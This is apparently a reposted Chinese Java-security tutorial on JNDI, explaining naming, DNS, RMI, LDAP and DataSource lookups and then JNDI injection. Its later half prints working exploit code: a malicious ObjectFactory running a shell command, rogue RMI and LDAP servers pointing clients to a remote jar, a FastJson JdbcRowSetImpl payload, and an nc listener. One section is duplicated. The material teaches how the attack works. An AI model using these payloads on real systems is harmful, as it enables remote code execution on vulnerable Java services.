java安全(四) JNDI
給個(gè)關(guān)注?寶兒!
給個(gè)關(guān)注?寶兒!
給個(gè)關(guān)注?寶兒!
關(guān)注公眾號(hào):b1gpig信息安全,文章推送不錯(cuò)過(guò)
1.JNDI
JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目錄接口。通過(guò)調(diào)用JNDI的API應(yīng)用程序可以定位資源和其他程序?qū)ο?。JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 數(shù)據(jù)源),JNDI可訪問(wèn)的現(xiàn)有的目錄及服務(wù)有:JDBC、LDAP、RMI、DNS、NIS、CORBA
通俗理解,使用jndi作為數(shù)據(jù)源而不是直接去連接數(shù)據(jù)庫(kù),將數(shù)據(jù)庫(kù)交給jndi去配置管理,jndi通過(guò)數(shù)據(jù)源名稱去應(yīng)用數(shù)據(jù)源訪問(wèn)數(shù)據(jù)庫(kù)
Naming Service 命名服務(wù):
命名服務(wù)將名稱和對(duì)象進(jìn)行關(guān)聯(lián),提供通過(guò)名稱找到對(duì)象的操作,例如:DNS系統(tǒng)將計(jì)算機(jī)名和IP地址進(jìn)行關(guān)聯(lián)、文件系統(tǒng)將文件名和文件句柄進(jìn)行關(guān)聯(lián)等等。
Directory Service 目錄服務(wù):
目錄服務(wù)是命名服務(wù)的擴(kuò)展,除了提供名稱和對(duì)象的關(guān)聯(lián),還允許對(duì)象具有屬性。目錄服務(wù)中的對(duì)象稱之為目錄對(duì)象。目錄服務(wù)提供創(chuàng)建、添加、刪除目錄對(duì)象以及修改目錄對(duì)象屬性等操作。
Reference 引用:
在一些命名服務(wù)系統(tǒng)中,系統(tǒng)并不是直接將對(duì)象存儲(chǔ)在系統(tǒng)中,而是保持對(duì)象的引用。引用包含了如何訪問(wèn)實(shí)際對(duì)象的信息。
2.JNDI目錄服務(wù)
訪問(wèn)JNDI目錄服務(wù)時(shí)會(huì)通過(guò)預(yù)先設(shè)置好環(huán)境變量訪問(wèn)對(duì)應(yīng)的服務(wù), 如果創(chuàng)建JNDI上下文(Context)時(shí)未指定環(huán)境變量對(duì)象,JNDI會(huì)自動(dòng)搜索系統(tǒng)屬性(System.getProperty())、applet 參數(shù)和應(yīng)用程序資源文件(jndi.properties)。
使用JNDI創(chuàng)建目錄服務(wù)對(duì)象代碼片段:
// 創(chuàng)建環(huán)境變量對(duì)象 Hashtable env = new Hashtable();// 設(shè)置JNDI初始化工廠類名 env.put(Context.INITIAL_CONTEXT_FACTORY, "類名");// 設(shè)置JNDI提供服務(wù)的URL地址 env.put(Context.PROVIDER_URL, "url");// 創(chuàng)建JNDI目錄服務(wù)對(duì)象 DirContext context = new InitialDirContext(env);Context.INITIAL_CONTEXT_FACTORY(初始上下文工廠的環(huán)境屬性名稱)指的是JNDI服務(wù)處理的具體類名稱,如:DNS服務(wù)可以使用com.sun.jndi.dns.DnsContextFactory類來(lái)處理,JNDI上下文工廠類必須實(shí)現(xiàn)javax.naming.spi.InitialContextFactory接口,通過(guò)重寫getInitialContext方法來(lái)創(chuàng)建服務(wù)。
javax.naming.spi.InitialContextFactory:
package javax.naming.spi;public interface InitialContextFactory {public Context getInitialContext(Hashtable<?,?> environment) throws NamingException;}3.JNDI-DNS解析
JNDI支持訪問(wèn)DNS服務(wù),注冊(cè)環(huán)境變量時(shí)設(shè)置JNDI服務(wù)處理的工廠類為com.sun.jndi.dns.DnsContextFactory即可。
com.sun.jndi.dns.DnsContextFactory代碼片段:
package com.sun.jndi.dns;public class DnsContextFactory implements InitialContextFactory {// 獲取處理DNS的JNDI上下文對(duì)象public Context getInitialContext(Hashtable<?, ?> var1) throws NamingException {if (var1 == null) {var1 = new Hashtable(5);}return urlToContext(getInitCtxUrl(var1), var1);}// 省去其他無(wú)關(guān)方法和變量 }4.使用JNDI解析DNS測(cè)試:
package jndi;import javax.naming.Context; import javax.naming.NamingException; import javax.naming.directory.Attributes; import javax.naming.directory.DirContext; import javax.naming.directory.InitialDirContext; import java.util.Hashtable;/*** Creator: yz* Date: 2019/12/23*/ public class DNSContextFactoryTest {public static void main(String[] args) {// 創(chuàng)建環(huán)境變量對(duì)象Hashtable env = new Hashtable();// 設(shè)置JNDI初始化工廠類名env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");// 設(shè)置JNDI提供服務(wù)的URL地址,這里可以設(shè)置解析的DNS服務(wù)器地址env.put(Context.PROVIDER_URL, "dns://114.114.114.114"); //114dns地址try {// 創(chuàng)建JNDI目錄服務(wù)對(duì)象DirContext context = new InitialDirContext(env);// 獲取DNS解析記錄測(cè)試Attributes attrs1 = context.getAttributes("baidu.com", new String[]{"A"});Attributes attrs2 = context.getAttributes("qq.com", new String[]{"A"});System.out.println(attrs1);System.out.println(attrs2);} catch (NamingException e) {e.printStackTrace();}}}輸出:
或者使用dnslog平臺(tái)解析:
env.put(Context.PROVIDER_URL, “dns://6ew8cd.dnslog.cn”);
5.JNDI-RMI遠(yuǎn)程方法調(diào)用
RMI的服務(wù)處理工廠類是:com.sun.jndi.rmi.registry.RegistryContextFactory,在調(diào)用遠(yuǎn)程的RMI方法之前需要先啟動(dòng)RMI服務(wù):com.anbai.sec.rmi.RMIServerTest,啟動(dòng)完成后就可以使用JNDI連接并調(diào)用了。
使用JNDI解析調(diào)用遠(yuǎn)程RMI方法測(cè)試:
package com.anbai.sec.jndi;import com.anbai.sec.rmi.RMITestInterface;import javax.naming.Context; import javax.naming.NamingException; import javax.naming.directory.DirContext; import javax.naming.directory.InitialDirContext; import java.rmi.RemoteException; import java.util.Hashtable;import static com.anbai.sec.rmi.RMIServerTest.*;/*** Creator: yz* Date: 2019/12/24*/ public class RMIRegistryContextFactoryTest {public static void main(String[] args) {String providerURL = "rmi://" + RMI_HOST + ":" + RMI_PORT;// 創(chuàng)建環(huán)境變量對(duì)象Hashtable env = new Hashtable();// 設(shè)置JNDI初始化工廠類名env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");// 設(shè)置JNDI提供服務(wù)的URL地址env.put(Context.PROVIDER_URL, providerURL);// 通過(guò)JNDI調(diào)用遠(yuǎn)程RMI方法測(cè)試,等同于com.anbai.sec.rmi.RMIClientTest類的Demotry {// 創(chuàng)建JNDI目錄服務(wù)對(duì)象DirContext context = new InitialDirContext(env);// 通過(guò)命名服務(wù)查找遠(yuǎn)程RMI綁定的RMITestInterface對(duì)象RMITestInterface testInterface = (RMITestInterface) context.lookup(RMI_NAME);// 調(diào)用遠(yuǎn)程的RMITestInterface接口的test方法String result = testInterface.test();System.out.println(result);} catch (NamingException e) {e.printStackTrace();} catch (RemoteException e) {e.printStackTrace();}}}程序執(zhí)行結(jié)果:
Hello RMI~
6.JNDI-LDAP
LDAP的服務(wù)處理工廠類是:com.sun.jndi.ldap.LdapCtxFactory,連接LDAP之前需要配置好遠(yuǎn)程的LDAP服務(wù)。
使用JNDI創(chuàng)建LDAP連接測(cè)試:
package com.anbai.sec.jndi;import javax.naming.Context; import javax.naming.directory.DirContext; import javax.naming.directory.InitialDirContext; import java.util.Hashtable;/*** Creator: yz* Date: 2019/12/24*/ public class LDAPFactoryTest {public static void main(String[] args) {try {// 設(shè)置用戶LDAP登陸用戶DNString userDN = "cn=Manager,dc=javaweb,dc=org";// 設(shè)置登陸用戶密碼String password = "123456";// 創(chuàng)建環(huán)境變量對(duì)象Hashtable<String, Object> env = new Hashtable<String, Object>();// 設(shè)置JNDI初始化工廠類名env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");// 設(shè)置JNDI提供服務(wù)的URL地址env.put(Context.PROVIDER_URL, "ldap://localhost:389");// 設(shè)置安全認(rèn)證方式env.put(Context.SECURITY_AUTHENTICATION, "simple");// 設(shè)置用戶信息env.put(Context.SECURITY_PRINCIPAL, userDN);// 設(shè)置用戶密碼env.put(Context.SECURITY_CREDENTIALS, password);// 創(chuàng)建LDAP連接DirContext ctx = new InitialDirContext(env);// 使用ctx可以查詢或存儲(chǔ)數(shù)據(jù),此處省去業(yè)務(wù)代碼ctx.close();} catch (Exception e) {e.printStackTrace();}}}7.JNDI-DataSource
JNDI連接數(shù)據(jù)源比較特殊,Java目前不提供內(nèi)置的實(shí)現(xiàn)方法,提供數(shù)據(jù)源服務(wù)的多是Servlet容器,這里我們以Tomcat為例學(xué)習(xí)如何在應(yīng)用服務(wù)中使用JNDI查找容器提供的數(shù)據(jù)源。
Tomcat配置JNDI數(shù)據(jù)源需要手動(dòng)修改Tomcat目錄/conf/context.xml文件,參考:Tomcat JNDI Datasource,這里我們?cè)赥omcat的conf/context.xml中添加如下配置:
Resource name="jdbc/test" auth="Container" type="javax.sql.DataSource"maxTotal="100" maxIdle="30" maxWaitMillis="10000"username="root" password="root" driverClassName="com.mysql.jdbc.Driver"url="jdbc:mysql://localhost:3306/mysql"/>然后我們需要下載好Mysql的JDBC驅(qū)動(dòng)包并復(fù)制到Tomcat的lib目錄:
wget https://repo1.maven.org/maven2/mysql/mysql-connector-java/5.1.48/mysql-connector-java-5.1.48.jar -P "/data/apache-tomcat-8.5.31/lib"配置好數(shù)據(jù)源之后我們重啟Tomcat服務(wù)就可以使用JNDI的方式獲取DataSource了。
使用JNDI獲取數(shù)據(jù)源并查詢數(shù)據(jù)庫(kù)測(cè)試:
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.naming.Context" %> <%@ page import="javax.naming.InitialContext" %> <%@ page import="javax.sql.DataSource" %> <%@ page import="java.sql.Connection" %> <%@ page import="java.sql.ResultSet" %> <%// 初始化JNDIContextContext context = new InitialContext();// 搜索Tomcat注冊(cè)的JNDI數(shù)據(jù)庫(kù)連接池對(duì)象DataSource dataSource = (DataSource) context.lookup("java:comp/env/jdbc/test");// 獲取數(shù)據(jù)庫(kù)連接Connection connection = dataSource.getConnection();// 查詢SQL語(yǔ)句并返回結(jié)果ResultSet rs = connection.prepareStatement("select version()").executeQuery();// 獲取數(shù)據(jù)庫(kù)查詢結(jié)果while (rs.next()) {out.println(rs.getObject(1));}rs.close(); %>訪問(wèn)tomcat-datasource-lookup.jsp輸出: 5.7.28,需要注意的是示例jsp中的Demo使用了系統(tǒng)的環(huán)境變量所以并不需要在創(chuàng)建context的時(shí)候傳入環(huán)境變量對(duì)象。Tomcat在啟動(dòng)的時(shí)候會(huì)設(shè)置JNDI變量信息,處理JNDI服務(wù)的類是org.apache.naming.java.javaURLContextFactory,所以在jsp中我們可以直接創(chuàng)建context。
8.JNDI-協(xié)議轉(zhuǎn)換
如果JNDI在lookup時(shí)沒(méi)有指定初始化工廠名稱,會(huì)自動(dòng)根據(jù)協(xié)議類型動(dòng)態(tài)查找內(nèi)置的工廠類然后創(chuàng)建處理對(duì)應(yīng)的服務(wù)請(qǐng)求。
JNDI默認(rèn)支持自動(dòng)轉(zhuǎn)換的協(xié)議有:
RMI示例代碼片段:
示例代碼通過(guò)lookup會(huì)自動(dòng)使用rmiURLContext處理RMI請(qǐng)求。
9.JNDI-Reference
在JNDI服務(wù)中允許使用系統(tǒng)以外的對(duì)象,比如在某些目錄服務(wù)中直接引用遠(yuǎn)程的Java對(duì)象,但遵循一些安全限制。
RMI/LDAP遠(yuǎn)程對(duì)象引
10.RMI/LDAP遠(yuǎn)程對(duì)象引用安全限制
在RMI服務(wù)中引用遠(yuǎn)程對(duì)象將受本地Java環(huán)境限制即本地的java.rmi.server.useCodebaseOnly配置必須為false(允許加載遠(yuǎn)程對(duì)象),如果該值為true則禁止引用遠(yuǎn)程對(duì)象。除此之外被引用的ObjectFactory對(duì)象還將受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果該值為false(不信任遠(yuǎn)程引用對(duì)象)一樣無(wú)法調(diào)用遠(yuǎn)程的引用對(duì)象。
1.JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121開始java.rmi.server.useCodebaseOnly默認(rèn)配置已經(jīng)改為了true。
2.JDK 6u132, JDK 7u122, JDK 8u113開始com.sun.jndi.rmi.object.trustURLCodebase默認(rèn)值已改為了false。
本地測(cè)試遠(yuǎn)程對(duì)象引用可以使用如下方式允許加載遠(yuǎn)程的引用對(duì)象:
System.setProperty("java.rmi.server.useCodebaseOnly", "false"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");或者在啟動(dòng)Java程序時(shí)候指定-D參數(shù):-Djava.rmi.server.useCodebaseOnly=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=true。
LDAP在JDK 11.0.1、8u191、7u201、6u211后也將默認(rèn)的com.sun.jndi.ldap.object.trustURLCodebase設(shè)置為了false。
高版本JDK可參考
https://paper.seebug.org/942/
11.使用創(chuàng)建惡意的ObjectFactory對(duì)象
JNDI允許通過(guò)對(duì)象工廠 (javax.naming.spi.ObjectFactory)動(dòng)態(tài)加載對(duì)象實(shí)現(xiàn),例如,當(dāng)查找綁定在名稱空間中的打印機(jī)時(shí),如果打印服務(wù)將打印機(jī)的名稱綁定到 Reference,則可以使用該打印機(jī) Reference 創(chuàng)建一個(gè)打印機(jī)對(duì)象,從而查找的調(diào)用者可以在查找后直接在該打印機(jī)對(duì)象上操作。
對(duì)象工廠必須實(shí)現(xiàn) javax.naming.spi.ObjectFactory接口并重寫getObjectInstance方法。
ReferenceObjectFactory示例代碼:
package com.anbai.sec.jndi.injection;import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;/*** 引用對(duì)象創(chuàng)建工廠*/ public class ReferenceObjectFactory implements ObjectFactory {/*** @param obj 包含可在創(chuàng)建對(duì)象時(shí)使用的位置或引用信息的對(duì)象(可能為 null)。* @param name 此對(duì)象相對(duì)于 ctx 的名稱,如果沒(méi)有指定名稱,則該參數(shù)為 null。* @param ctx 一個(gè)上下文,name 參數(shù)是相對(duì)于該上下文指定的,如果 name 相對(duì)于默認(rèn)初始上下文,則該參數(shù)為 null。* @param env 創(chuàng)建對(duì)象時(shí)使用的環(huán)境(可能為 null)。* @return 對(duì)象工廠創(chuàng)建出的對(duì)象* @throws Exception 對(duì)象創(chuàng)建異常*/public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {// 在創(chuàng)建對(duì)象過(guò)程中插入惡意的攻擊代碼,或者直接創(chuàng)建一個(gè)本地命令執(zhí)行的Process對(duì)象從而實(shí)現(xiàn)RCEreturn Runtime.getRuntime().exec("curl localhost:9000");}}12.創(chuàng)建惡意的RMI服務(wù)
如果我們?cè)赗MI服務(wù)端綁定一個(gè)惡意的引用對(duì)象,RMI客戶端在獲取服務(wù)端綁定的對(duì)象時(shí)發(fā)現(xiàn)是一個(gè)Reference對(duì)象后檢查當(dāng)前JVM是否允許加載遠(yuǎn)程引用對(duì)象,如果允許加載且本地不存在此對(duì)象工廠類則使用URLClassLoader加載遠(yuǎn)程的jar,并加載我們構(gòu)建的惡意對(duì)象工廠(ReferenceObjectFactory)類然后調(diào)用其中的getObjectInstance方法從而觸發(fā)該方法中的惡意RCE代碼。
包含惡意攻擊的RMI服務(wù)端代碼:
package com.anbai.sec.jndi.injection;import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;/*** 引用對(duì)象創(chuàng)建工廠*/ public class ReferenceObjectFactory implements ObjectFactory {/*** @param obj 包含可在創(chuàng)建對(duì)象時(shí)使用的位置或引用信息的對(duì)象(可能為 null)。* @param name 此對(duì)象相對(duì)于 ctx 的名稱,如果沒(méi)有指定名稱,則該參數(shù)為 null。* @param ctx 一個(gè)上下文,name 參數(shù)是相對(duì)于該上下文指定的,如果 name 相對(duì)于默認(rèn)初始上下文,則該參數(shù)為 null。* @param env 創(chuàng)建對(duì)象時(shí)使用的環(huán)境(可能為 null)。* @return 對(duì)象工廠創(chuàng)建出的對(duì)象* @throws Exception 對(duì)象創(chuàng)建異常*/public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {// 在創(chuàng)建對(duì)象過(guò)程中插入惡意的攻擊代碼,或者直接創(chuàng)建一個(gè)本地命令執(zhí)行的Process對(duì)象從而實(shí)現(xiàn)RCEreturn Runtime.getRuntime().exec("curl localhost:9000");}}13.創(chuàng)建惡意的RMI服務(wù)
如果我們?cè)赗MI服務(wù)端綁定一個(gè)惡意的引用對(duì)象,RMI客戶端在獲取服務(wù)端綁定的對(duì)象時(shí)發(fā)現(xiàn)是一個(gè)Reference對(duì)象后檢查當(dāng)前JVM是否允許加載遠(yuǎn)程引用對(duì)象,如果允許加載且本地不存在此對(duì)象工廠類則使用URLClassLoader加載遠(yuǎn)程的jar,并加載我們構(gòu)建的惡意對(duì)象工廠(ReferenceObjectFactory)類然后調(diào)用其中的getObjectInstance方法從而觸發(fā)該方法中的惡意RCE代碼。
包含惡意攻擊的RMI服務(wù)端代碼:
package com.anbai.sec.jndi.injection;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference; import java.rmi.Naming; import java.rmi.registry.LocateRegistry;import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME; import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;/*** Creator: yz* Date: 2019/12/25*/ public class RMIReferenceServerTest {public static void main(String[] args) {try {// 定義一個(gè)遠(yuǎn)程的jar,jar中包含一個(gè)惡意攻擊的對(duì)象的工廠類String url = "http://p2j.cn/tools/jndi-test.jar";// 對(duì)象的工廠類名String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";// 監(jiān)聽RMI服務(wù)端口LocateRegistry.createRegistry(RMI_PORT);// 創(chuàng)建一個(gè)遠(yuǎn)程的JNDI對(duì)象工廠類的引用對(duì)象Reference reference = new Reference(className, className, url);// 轉(zhuǎn)換為RMI引用對(duì)象ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);// 綁定一個(gè)惡意的Remote對(duì)象到RMI服務(wù)Naming.bind(RMI_NAME, referenceWrapper);System.out.println("RMI服務(wù)啟動(dòng)成功,服務(wù)地址:" + RMI_NAME);} catch (Exception e) {e.printStackTrace();}}}輸出:
啟動(dòng)完RMIReferenceServerTest后在本地監(jiān)聽9000端口測(cè)試客戶端調(diào)用RMI方法后是否執(zhí)行了curl localhost:9000命令。
使用nc監(jiān)聽端口:
nc -vv -l 9000RMI客戶端代碼:
package com.anbai.sec.jndi.injection;import javax.naming.InitialContext; import javax.naming.NamingException;import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;/*** Creator: yz* Date: 2019/12/25*/ public class RMIReferenceClientTest {public static void main(String[] args) {try { // // 測(cè)試時(shí)如果需要允許調(diào)用RMI遠(yuǎn)程引用對(duì)象加載請(qǐng)取消如下注釋 // System.setProperty("java.rmi.server.useCodebaseOnly", "false"); // System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");InitialContext context = new InitialContext();// 獲取RMI綁定的惡意ReferenceWrapper對(duì)象Object obj = context.lookup(RMI_NAME);System.out.println(obj);} catch (NamingException e) {e.printStackTrace();}}}程序運(yùn)行結(jié)果:
程序運(yùn)行結(jié)果:
注:如果為高版本java會(huì)報(bào)錯(cuò):The object factory is untrusted. Set the system property ‘com.sun.jndi.rmi.object.trustURLCodebase’ to ‘true’.
不信任該工廠類
繞過(guò)高版本JDK的限制進(jìn)行JNDI注入利用:
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
客戶端執(zhí)行成功后可以在nc中看到來(lái)自客戶端的curl請(qǐng)求:
GET / HTTP/1.1 Host: localhost:9000 User-Agent: curl/7.64.1 Accept: */*上面的示例演示了在JVM默認(rèn)允許加載遠(yuǎn)程RMI引用對(duì)象所帶來(lái)的RCE攻擊,但在真實(shí)的環(huán)境下由于發(fā)起RMI請(qǐng)求的客戶端的JDK版本大于我們的測(cè)試要求或者網(wǎng)絡(luò)限制等可能會(huì)導(dǎo)致攻擊失敗。
14.創(chuàng)建惡意的LDAP服務(wù)
LDAP和RMI同理,測(cè)試方法也同上。啟動(dòng)LDAP服務(wù)端程序后我們會(huì)在LDAP請(qǐng)求中返回一個(gè)含有惡意攻擊代碼的對(duì)象工廠的遠(yuǎn)程jar地址,客戶端會(huì)加載我們構(gòu)建的惡意對(duì)象工廠(ReferenceObjectFactory)類然后調(diào)用其中的getObjectInstance方法從而觸發(fā)該方法中的惡意RCE代碼。
包含惡意攻擊的LDAP服務(wù)端代碼:
package com.anbai.sec.jndi.injection;import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress;public class LDAPReferenceServerTest {// 設(shè)置LDAP服務(wù)端口public static final int SERVER_PORT = 3890;// 設(shè)置LDAP綁定的服務(wù)地址,外網(wǎng)測(cè)試換成0.0.0.0public static final String BIND_HOST = "127.0.0.1";// 設(shè)置一個(gè)實(shí)體名稱public static final String LDAP_ENTRY_NAME = "test";// 獲取LDAP服務(wù)地址public static String LDAP_URL = "ldap://" + BIND_HOST + ":" + SERVER_PORT + "/" + LDAP_ENTRY_NAME;// 定義一個(gè)遠(yuǎn)程的jar,jar中包含一個(gè)惡意攻擊的對(duì)象的工廠類public static final String REMOTE_REFERENCE_JAR = "http://p2j.cn/tools/jndi-test.jar";// 設(shè)置LDAP基底DNprivate static final String LDAP_BASE = "dc=javasec,dc=org";public static void main(String[] args) {try {// 創(chuàng)建LDAP配置對(duì)象InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);// 設(shè)置LDAP監(jiān)聽配置信息config.setListenerConfigs(new InMemoryListenerConfig("listen", InetAddress.getByName(BIND_HOST), SERVER_PORT,ServerSocketFactory.getDefault(), SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));// 添加自定義的LDAP操作攔截器config.addInMemoryOperationInterceptor(new OperationInterceptor());// 創(chuàng)建LDAP服務(wù)對(duì)象InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);// 啟動(dòng)服務(wù)ds.startListening();System.out.println("LDAP服務(wù)啟動(dòng)成功,服務(wù)地址:" + LDAP_URL);} catch (Exception e) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {@Overridepublic void processSearchResult(InMemoryInterceptedSearchResult result) {String base = result.getRequest().getBaseDN();Entry entry = new Entry(base);try {// 設(shè)置對(duì)象的工廠類名String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";entry.addAttribute("javaClassName", className);entry.addAttribute("javaFactory", className);// 設(shè)置遠(yuǎn)程的惡意引用對(duì)象的jar地址entry.addAttribute("javaCodeBase", REMOTE_REFERENCE_JAR);// 設(shè)置LDAP objectClassentry.addAttribute("objectClass", "javaNamingReference");result.sendSearchEntry(entry);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));} catch (Exception e1) {e1.printStackTrace();}}}}程序運(yùn)行結(jié)果:
LDAP客戶端代碼:
package com.anbai.sec.jndi.injection;import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException;import static com.anbai.sec.jndi.injection.LDAPReferenceServerTest.LDAP_URL;/*** Creator: yz* Date: 2019/12/27*/ public class LDAPReferenceClientTest {public static void main(String[] args) {try { // // 測(cè)試時(shí)如果需要允許調(diào)用RMI遠(yuǎn)程引用對(duì)象加載請(qǐng)取消如下注釋 // System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");Context ctx = new InitialContext();// 獲取RMI綁定的惡意ReferenceWrapper對(duì)象Object obj = ctx.lookup(LDAP_URL);System.out.println(obj);} catch (NamingException e) {e.printStackTrace();}}}輸出:
15.FastJson 反序列化JNDI注入示例
比較典型的漏洞有FastJson的JNDI注入漏洞,FastJson在反序列化JSON對(duì)象時(shí)候會(huì)通過(guò)反射自動(dòng)創(chuàng)建類實(shí)例且FastJson會(huì)根據(jù)傳入的JSON字段間接的調(diào)用類成員變量的setXXX方法。FastJson這個(gè)反序列化功能看似無(wú)法實(shí)現(xiàn)RCE,但是有人找出多個(gè)符合JNDI注入漏洞利用條件的Java類(如:com.sun.rowset.JdbcRowSetImpl)從而實(shí)現(xiàn)了RCE。
JdbcRowSetImpl示例:
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="com.sun.rowset.JdbcRowSetImpl" %> <%JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();jdbcRowSet.setDataSourceName(request.getParameter("url"));jdbcRowSet.setAutoCommit(true); %>假設(shè)我們能夠動(dòng)態(tài)的創(chuàng)建出JdbcRowSetImpl類實(shí)例且可以間接的調(diào)用setDataSourceName和setAutoCommit方法,那么就有可能實(shí)現(xiàn)JNDI注入攻擊。FastJson使用JdbcRowSetImpl實(shí)現(xiàn)JNDI注入攻擊的大致的流程如下:
1.反射創(chuàng)建com.sun.rowset.JdbcRowSetImpl對(duì)象。
2.反射調(diào)用setDataSourceName方法,設(shè)置JNDI的URL。
3.反射調(diào)用setAutoCommit方法,該方法會(huì)試圖使用JNDI獲取數(shù)據(jù)源(DataSource)對(duì)象。
4.調(diào)用lookup方法去查找我們注入的URL所綁定的惡意的JNDI遠(yuǎn)程引用對(duì)象。
5.執(zhí)行惡意的類對(duì)象工廠方法實(shí)現(xiàn)RCE。
FastJson JdbcRowSetImpl Payload:
{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:3890/test", "autoCommit": "true" }FastJson JNDI測(cè)試代碼:
package com.anbai.sec.jndi.injection;import com.alibaba.fastjson.JSON;/*** Creator: yz* Date: 2019/12/28*/ public class FastJsonRCETest {public static void main(String[] args) { // // 測(cè)試時(shí)如果需要允許調(diào)用RMI遠(yuǎn)程引用對(duì)象加載請(qǐng)取消如下注釋 // System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");String json = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://127.0.0.1:3890/test\", \"autoCommit\": \"true\" }";Object obj = JSON.parse(json);System.out.println(obj);}}程序執(zhí)行后nc會(huì)接收到本機(jī)的curl請(qǐng)求表明漏洞已利用成功:
GET / HTTP/1.1 Host: localhost:9000 User-Agent: curl/7.64.1 Accept: */*補(bǔ)充資料
對(duì)高版本jdk的ldap的限制進(jìn)行繞過(guò)
總結(jié)
以上是生活随笔為你收集整理的java安全(四) JNDI的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 一个人租房子好还是不好?
- 下一篇: 点到线段的距离_直线垂直,垂线的性质,点